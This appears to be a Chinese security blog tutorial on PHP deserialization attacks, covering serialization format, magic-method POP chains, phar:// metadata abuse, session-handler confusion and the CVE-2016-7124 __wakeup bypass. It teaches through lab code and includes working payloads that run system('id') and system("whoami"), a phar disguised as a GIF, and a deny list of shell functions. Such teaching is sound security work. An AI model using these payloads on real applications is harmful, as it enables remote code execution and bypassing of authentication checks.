SecMap - 反序列化(PHP)
SecMap - 反序列化,PHP 篇
PHP 反序列化,需要一些 PHP 面向对象编程的基础,如果你还没掌握,建议阅读:
https://www.runoob.com/php/php-oop.html
来光速入个门
介绍
起源
为什么有序列化与反序列化的存在呢?首先思考一个问题,假如我想把一个变量的值保存在硬盘上而不是内存里,应该怎么做呢?可以选择保存在文本文件里,也可以选择保存在数据库里。那么进一步,如果是一个对象呢?
1
2
3
4
5
6
7<?php
class A {
public $a;
}
$T = new A;
这是 PHP 的一个类,而 T 是 A 的一个实例。如果我们想把 T 存在硬盘上,应该怎么存呢?你可能会想,我可以记录一下类的名字 A
,然后在记录一下它有一个 public 属性是 $a
,然后利用 json 存:
1
{"name": "A", "attr": "a"}
如果需要还原,则反过来对应的处理。看起来这个方法还可以,但是如果这个类更加复杂呢?比如我们变量值:
1
2
3
4
5
6
7
8<?php
class A {
public $a;
}
$T = new A;
$T->a = 1;
该怎么办呢?
这就是序列化与反序列化解决的问题,序列化
负责按照规定的格式,将一个对象的重要信息转换为可以存储或可以网络传输的形式;反序列化
从存储中读取或从网络接收一个已经被序列化的对象,按照规定的格式,重新创建该对象。
在 PHP 中,序列化函数是 serialize()
,反序列化函数是 unserialize()
,比如上面那个例子,输出是 O:1:"A":1:{s:1:"a";i:1;}
要注意的是:
- serialize/unserialize 不仅仅只能对对象进行序列化/反序列化,但本文以对象的序列化/反序列化为主,其他类型的就不多提了
- serialize 只会序列化类的属性
格式
1 |
|
更多类型的字母表示,可以参考这个:
https://www.php.net/manual/zh/function.serialize.php#66147
我们知道,PHP 可以对属性或方法的访问控制:
- public:公有,类成员可以在任何地方被访问。
- protected:受保护,类成员则可以被类自己、子类和父类访问。
- private:私有,类成员则只能被类自己在内部访问。
那么显然,这肯定也会影响序列化的结果,比如:
1
2
3
4
5
6
7
8
9
10<?php
class A {
public $a;
protected $b;
private $c;
}
$T = new A;
$T->a = 1;
对 T 进行序列化,得到:O:1:"A":3:{s:1:"a";N;s:4:"*b";N;s:4:"Ac";N;}
:
1
2
3
4
5
6
7
8
9O:1:"A":3: # 这些与上面一样,不赘述了
{
s:1:"a";i:1; # 与上面一样
s:4:"*b";N;
s:4:"Ac";N;
}
首先来看 s:4:"*b";N;
,长度为明明为 2,为什么是 4 呢?原因是前后都有空字符:
所以,对于 protected
的类成员,名称的格式为 %00*%00
+属性名
。
再看上图,s:4:"Ac";N;
道理也是一样的,所以对于 private
的类成员,名称的格式为 %00
+ 类名
+ %00
+属性名
。
不过这个是有例外的,如何不使用 %00
对 protected
、private
类成员进行序列化(同时反序列化的时候也要能成功),这个考点在 CTF 中经常出现,后面会说。
总之,序列化的格式对我们非常重要,因为后面构造或者修改攻击向量的时候都要按照这个格式来。为了方便起见,本文演示的均为 public 类成员,其他类型其实是同理的。
反序列化攻击
初级
先举个最简单的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
class A {
public $a;
function check() {
if ($this->a) {
echo 'you are root';
} else {
echo 'permission denied';
}
}
}
$GET = 'O:1:"A":1:{s:1:"a";i:0;}';
$user = unserialize($GET);
$user->check();
如果 $GET
可控的话(比如 http 的 get 参数),那么很容易就能篡改 a 的值:
1 |
|
来通过 check()
的检查。
通过这个例子,再次强调一下,PHP 序列化攻击的核心方法就是控制类的属性
这里顺便提一下,让我们自己去按照反序列化格式写 payload,太麻烦了,所以一般是先写好攻击代码,然后序列化输出,就是 payload 了。
进阶
由于序列化不会对类方法进行操作,所以我们就算能篡改属性,也需要有拥有这个属性的某个方法被调用,才能完成攻击,所以攻击场景比较少。好在我们还可以利用 PHP 的魔术方法,帮助拓展一下攻击场景。
魔术方法
首先列一下常见的魔术方法(Magic methods):
__construct
: 当对象创建时会自动调用,(注意,在 unserialize 时不会自动调用)__destruct
: 当对象被销毁时自动调用__sleep
: serialize 时自动调用__wakeup
: unserialize 时自动调用__get
: 当从不可访问的属性读取数据时自动调用__set()
: 用于将数据写入不可访问的属性__call
: 在对象上下文中调用不可访问的方法时自动调用__callStatic
: 在静态上下文中调用不可访问的方法时自动调用__isset
: 在不可访问的属性上调用 isset() 或 empty() 时自动调用__unset
: 在不可访问的属性上使用 unset() 时自动调用__invoke
: 当尝试将对象调用为函数时自动调用__toString
: 用于一个对象被当成字符串使用(如 echo、拼接等)时自动调用
那么这有啥用呢?
- 魔术方法在指定的条件下一定会被调用,而自定义的方法不一定会被调用,可能写了但是没有使用,也可能是运行逻辑没到调用的地方。这提升了反序列化触发的可能性。
- 由于魔术方法是非常常用的,比如
__destruct
,里面可以写一段用于关闭数据库连接的代码,这样只要实例被销毁,就会自动关闭数据库连接。所以如果条件合适,魔术方法里的属性本身就可以被利用。这提升了反序列化出现的可能性。
我打算用一个例子说明上面的用途,实例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38<?php
class A {
public $test;
function __destruct() {
$this->test->action();
}
function check() {
$this->test->check();
}
}
class B {
function action() {
echo "I'm class B\r\n";
}
function check() {
echo "I'm class B in check\r\n";
}
}
class C {
function action() {
echo "I'm class C\r\n";
}
function check() {
echo "I'm class C in check\r\n";
}
}
$GET = '';
$user = unserialize($GET);
在这里例子中,由于 $user
并没有调用 check
,所以无法通过 check 函数来实施反序列化攻击(用途 1),但是由于有 __destruct
的存在,所以我们可以利用它来完成反序列化攻击(用途 1、2):
1
2
3
4... // 省略
$GET = 'O:1:"A":1:{s:4:"test";O:1:"C":0:{}}';
$user = unserialize($GET);
这样我们就可以控制执行的流程,要执行 class B、C 里的 check 都可以。
第一个 🌰
如果你还无法理解,那么再来看一个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
// 业务留下的测试代码
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = ''; // 攻击者可控
$p = ''; // 攻击者可控
// 过滤危险的函数
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open",
"show_source", "phpinfo", "popen", "dl", "eval",
"proc_terminate", "touch", "escapeshellcmd", "escapeshellarg",
"assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"registregister_shutdown_function", "register_tick_function",
"filter_var", "filter_var_array", "uasort", "uksort",
"array_reduce", "array_walk", "array_walk_recursive",
"pcntl_exec", "fopen", "fwrite", "file_put_contents"
);
if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}
对于这个例子来说,由于危险的函数都被过滤了,所以我们没法直接利用 gettime
中的 call_user_func
完成攻击。
那么换个思路,由于 unserialize
没有被过滤,那么反序列化攻击是否可行呢?虽然 Test
中没有任何自定义的方法可以让我们利用,但是有 __destruct
,它会在实例销毁的时候自动运行,最后它还会调用 gettime,调用 gettime 就意味着调用了 call_user_func,并且反序列化时我们可以控制 $this->func
和 $this->p
,所以相当于 call_user_func 的参数是可控的,那么答案就呼之欲出了:
1
2
3
4
5
6
7
8<?php
class Test {
var $p = "id";
var $func = "system";
}
echo(serialize(new Test));
所以这样就可以执行命令了:
1
2$func = 'unserialize';
$p = 'O:4:"Test":2:{s:1:"p";s:2:"id";s:4:"func";s:6:"system";}';
总结一下,魔术方法提升了反序列化触发的可能性与出现的可能性。
高级
接下来玩点更有意思的
绕过 %00 限制
上面提到,private
和 protected
的类成员,需要额外添加控制字符 %00
。这个特征经常被 WAF ban 掉。而在序列化内容中使用大写 S
表示字符串时,此时就支持将后面的字符串用 16 进制表示,所以就可以使用 \x00
来表示 %00
。这个手法常用于绕过 WAF 或者 CTF 题(例如网鼎杯 AreUSerialz)。
最后,对于 7.2 及以上版本的 PHP,序列化 private
和 protected
的类成员时,可以直接用 public
了。所以复现的时候需要注意一下版本。
POP
POP 面向属性编程(Property-Oriented Programing),缩写看起来很牛逼,其实就是先找到最后需要触发的语句,然后往上层根据调用链一步一步溯源到最开始触发的语句,分析好调用链后,再一步步从触发语句构造序列化结果。
先举个比较简单的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32<?php
class A {
public $func;
public $password;
function __destruct() {
$this->func->check($this->password);
}
}
class B {
function check() {
echo "Permission denied\r\n";
}
}
class C {
public $md5 = "8f95eca949e2ec377434ea3fea1cc381";
function check($password) {
if (md5($password) == $this->md5) {
echo "You are root\r\n";
} else {
echo "Permission denied\r\n";
}
}
}
$GET = '';
$user = unserialize($GET);
首先分析一下思路:
- 首先我们需要让 class A 中的
__destruct
执行 class C 的 check,这一步很简单,和上面的例子是一样的。 - 但是这还不够,我们如果想输出
You are root
,还需要通过 class C 中 check 的 if,而由于 hash 的不可逆性,我们不知道8f95eca949e2ec377434ea3fea1cc381
对应的原字符串是什么,但是如果我们同时篡改$md5
和$password
,就可以通过 if 的检查了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
class A {
public $func;
public $password = 'admin';
function __construct() {
$this->func = new C;
}
}
class C {
public $md5 = "21232f297a57a5a743894a0e4a801fc3";
}
echo(serialize(new A));
// 结果为:
// O:1:"A":2:{s:4:"func";O:1:"C":1:{s:3:"md5";s:32:"21232f297a57a5a743894a0e4a801fc3";}s:8:"password";s:5:"admin";}
上面例子仅仅只有两层,下面再举个更加复杂一些的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52<?php
class start_gg {
public $mod1;
public $mod2;
public function __destruct() {
$this->mod1->test1();
}
}
class Call {
public $mod1;
public $mod2;
public function test1() {
$this->mod1->test2();
}
}
class funct {
public $mod1;
public $mod2;
public function __call($test2, $arr) {
$s1 = $this->mod1;
$s1();
}
}
class func {
public $mod1;
public $mod2;
public function __invoke() {
$this->mod2 = "字符串拼接" . $this->mod1;
}
}
class string1 {
public $str1;
public $str2;
public function __toString() {
$this->str1->get_flag();
return "1";
}
}
class GetFlag {
public function get_flag() {
echo "flag: " . "xxxxxxxxxxxx";
}
}
$a = '';
unserialize($a);
首先一样,从要触发的语句出发,一步步分析:
- 要触发的语句在 class GetFlag 的 get_flag 里
- 调用 get_flag 的语句在 class string1 的
__toString
里,而我们知道,__toString
是 string1 的实例,被当做字符串处理的时候会触发 - class func 中的
__invoke
,会将$this->mod1
当做字符串来拼接,所以我们需要让$this->mod1 == string1 的实例
,来触发 class string1 的__toString
。而__invoke
是将对象当做函数来调用的时候会触发 - class funct 中的
__call
,里面有个$s1()
,那么只要让$s1 == func 的实例
,即可触发 class func 的__invoke
。而__call
是调用一个不存在的方法是会触发 - class start_gg 中有个
__destruct
调用了$this->mod1
的 test1 方法;class Call 中有个test1
调用了$this->mod1
的 test2 方法。那么很明显,class start_gg 的__destruct
可以用于触发 class funct 中的__call
;如果要用 class Call 的test1
也不是不可以,但是也需要经过 class start_gg 的辅助,所以直接使用 class start_gg 比较简洁。
分析完毕,从后往前构造调用链即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33<?php
class start_gg {
public function __construct() {
$this->mod1 = new funct;
}
}
class funct {
public function __construct() {
$this->mod1 = new func;
}
}
class func {
public function __construct() {
$this->mod1 = new string1;
}
}
class string1 {
public function __construct() {
$this->str1 = new GetFlag;
}
}
class GetFlag {
}
$a=new start_gg;
echo(serialize($a));
// 结果为:
// O:8:"start_gg":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}
综上,POP 算是寻找反序列化漏洞的标准思路。
利用 phar:// 伪协议
在《非常见协议大礼包》中搁置的一个知识点:
https://www.tr0y.wang/2021/05/17/SecMap-非常见协议大礼包/#phar
在这里补全。
phar 文件介绍
首先看一下 phar 文件的格式:
- stub: stub 就是一个简单的 php 的文件内容,它必须包含
__HALT_COMPILER()
,这是 phar 的文件标识,让 phar 扩展识别这是一个标准的 phar 文件用的。所以最小的 stub 就是<?php __HALT_COMPILER();
- manifest: 它存着文件名、压缩后的大小、属性等等信息,最重要的是,它以序列化的形式包含了用户自定义的 meta-data
- contents: 这个就是压缩的文件内容啦
- signature: 签名,放在文件末尾
举个创建 phar 的示例:
1
2
3
4
5
6
7
8
9
10
11
12<?php
class A {
public $msg = 'This is Tr0y';
}
$phar = new Phar("test.phar"); // 注释 1
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();"); // 注释 2
$phar->setMetadata(new A); // 注释 3
$phar->addFromString("test.txt", "<?php echo '1'; ?>"); // 注释 4
$phar->stopBuffering();
代码很短,需要注意的地方却很多:
- 注释 1,这里是生成的 phar 的文件名,注意,在生成代码中,必须是
.phar
后缀,否则会报错:...Cannot create phar 'phar.gif', file extension (or combination) not recognised...
。但是生成之后,就可以随意更改文件名了。 - 注释 2,如果不用 setStub 指定 stub 的话也是可以的,PHP 会用的默认的 stub,它包含了大约 7k 的代码用于提取 Phar 内容并执行里面的代码,为什么默认 stub 会这么长呢?它的作用是在 phar 扩展不存在的时候,把 phar 里的文件解压到一个临时目录,然后运行。由于不依赖 phar 扩展,所以要完成同样的功能,代码就要长一些。由于 stub 位于文件最开始的地方,所以我们可以通过加入文件幻数来伪造文件类型,比如
$phar->setStub("GIF89a<?php __HALT_COMPILER();");
伪造成 gif 文件 - 注释 3,setMetadata 就是以序列化的形式保存用户自定义的 meta-data
- 注释 4,参数一是压缩进 phar 的文件名;参数二是文件内容
这里看一下生成之后的 test.phar(注意,生成的时候需要加上 phar.readonly=0
配置):
可以看到,class A 已经被序列化存储。
有了 test.phar 之后,我们就可以 include 了:
1
2
3include('phar://test.phar/test.txt');
// 结果为
// Tr0y
利用
前提:
- php.ini 中设置为
phar.readonly=Off
- php version >= 5.3.0
- 可以上传 phar 文件
其实这个技巧一句话就能说明白:phar 文件中的 meta-data
信息以序列化方式存储,当函数通过 phar://
伪协议解析 phar 文件时,就会自动将数据反序列化。
假如有以下代码:
1
2
3
4
5
6
7
8
9
10
11
12<?php
class A {
public $msg = "Permission denied\r\n";
public function __destruct() {
echo $this->msg;
}
}
$filename = 'phar://test.phar/test.txt';
file_get_contents($filename);
以上面那个 test.phar 为例,由于 phar:// 伪协议会自动反序列化 meta-data,而我们已经篡改了 $msg
,攻击的目的就达成了。
当然,受影响的函数可不仅仅只有 file_get_contents
,强烈建议看一下资料 1、2,里面提到了一些技巧非常有意思:
compress.bzip2://phar://test.phar/test.txt
或者compress.zlib://phar://test.phar/test.txt
,可以!(虽然会有 warning)- Postgres 的
@$pdo->pgsqlCopyFromFile
,可以! - MySQL 的
mysqli_query($m, "LOAD DATA LOCAL INFILE ...")
,可以! - ...
其他更多的姿势或者函数,我觉得 CTF 还是用的多一些,平时我们也用不到。
session 反序列化
PHP 的 session 介绍
先说一下 PHP 处理 session 的一些细节信息。
PHP 在存储 session 的时候会进行序列化,读取的时候会进行反序列化。它内置了多种用来序列化/反序列化的引擎,用于存取 $_SESSION
数据:
php
: 键名 +|
+ 经过serialize()
/unserialize()
处理的值。这是现在默认的引擎。php_binary
: 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()
/unserialize()
处理的值php_serialize
: 直接使用serialize()
/unserialize()
函数。这是好像是以前默认的引擎(5.x)。
session 相关的信息,可以在 phpinfo 里查到:
- session.auto_start: 是否自动启动一个 session
- session.save_path: 设置 session 的存储路径
- session.save_handler: 设置保存 session 的函数
- session.serialize_handler: 设置用来序列化/反序列化的引擎
所以,在我这个 PHP 的配置中,不会自动记录 session,所以运行的时候需要改为一下 auto_start;session 内容是以文件方式来存储的(文件以 sess_
+ sessionid 命名);由于存储的路径为空,所以运行的时候需要指定一下;序列化/反序列引擎为 php
。
例如我们测试一下下面这个代码:
1
2
3session_start();
$_SESSION['name0'] = 'Tr0y';
$_SESSION['name1'] = 'Tr1y';
用三种不同的引擎来处理 session:
是不是很简单?可以看到,session 文件里保存着的是反序列化之后的数据。
利用
那么这个有什么用呢?其实一句话就能说清楚:
不同的序列化/反序列化引擎对数据处理方式不同,造成了安全问题。
引擎为 php_binary 的时候,暂未发现有效的利用方式,所以目前主要还是 php 与 php_serialize 两者混用的时候导致的问题。
漏洞利用的原理,我觉得直接看例子比较直观。
注:这里我没搭 web 环境,因为 cli 完全可以用于测试
首先搞个读取 session 的文件:
1
2
3var_dump(
$_SESSION
);
然后再来个生成 session 的代码:
1
2$_SESSION['name0'] = 'Tr0y';
$_SESSION['name1'] = '|"Tr1y';
这个 session 用 php_serialize 序列化的结果是:
1
a:2:{s:5:"name0";s:4:"Tr0y";s:5:"name1";s:11:""|s:4:"Tr1y";}
如果我们用 php 引擎来解析这个结果,会得到什么呢?
为什么会这样呢?回顾上面,php 引擎的格式为:键名 + |
+ 经过 serialize()
/unserialize()
处理的值。那么对于这个例子来说,name 就是 a:2:{s:5:"name0";s:4:"Tr0y";s:5:"name1";s:11:"
,s:4:"Tr1y";
就是待反序列化的值。那么这里就非常清楚了,本质上就是通过 |
来完成注入("
负责闭合格式,防止解析错误),让 php 引擎误以为前面全是 name,这样参与反序列化的数据就可以由我们来控制了。
举个例子吧:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti {
public $info;
function __construct() {
$this->info = 'phpinfo();';
}
function __destruct() {
eval($this->info);
}
}
假设存 session 的时候,用的是 php_serialize
,然后上面这个是会用到 session 的代码。
那么我们可以尝试在 session 注入如下内容:
1
name|O:1:"A":1:{s:4:"info";s:17:"system("whoami");";}
即可达到利用的目的:
这个技巧我觉得还是 CTF 多一些,研发也不太会去修改读存 session 的引擎,混用就更少见了。
CVE-2016-7124
这是一个 PHP 的 CVE,影响版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
一句话就可以说清楚利用方式:当序列化字符串中表示对象中属性个数的数字,大于真正的属性个数时,就会跳过 __wakeup
函数的执行(会触发两个长度相关的 Notice: Unexpected end of serialized data
)。
举个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29<?php
class A {
public $test;
function __wakeup() {
$this->test = new B;
}
function __destruct() {
$this->test->check();
}
}
class B {
function check() {
echo "Permission denied\r\n";
}
}
class C {
function check() {
echo "you are root\r\n";
}
}
$GET = 'O:1:"A":1:{s:4:"test";O:1:"C":0:{}}';
$user = unserialize($GET);
在这个例子中,由于 class A 存在 __wakeup
,里面初始化了 test 为 class B,所以按照常规来说,__destruct
里的 $this->test
就一定是 class B。而如果利用 CVE-2016-7124,将 $GET
中 class A 的属性个数改为 2
,就可以绕过 __wakeup
的运行,从而在执行 __destruct
的 test 就是 class C 了:
1
2
3O:1:"A":1:{s:4:"test";O:1:"C":0:{}}
// 改为
O:1:"A":2:{s:4:"test";O:1:"C":0:{}}
注:如果你不想搭建 PHP 低版本环境来测试的话,对于这么简单的例子,完全可以找个在线运行 PHP 的测试,比如:
https://www.dooccn.com/php/
最后说一下在 cli 中如何给诸如 $_GET
这种参数指定值呢?细心的橘友可以本文的图片中找到答案:
php -r '$_GET["func"] = "phpinfo"; require("./test.php")'
这样就可以给 test.php
中的 $_GET["func"]
赋值并运行 test.php
搭建 web 环境,太麻烦了
资料
phar://
利用的一些姿势 1:https://files.ripstech.com/slides/PHP.RUHR_2018_New_PHP_Exploitation_Techniques.pdfphar://
利用的一些姿势 2:https://xz.aliyun.com/t/2958
反序列化篇还有后续
Java 和 Python 的
但我最近忙着做各种 “选择题”
精力不太能跟得上
慢慢写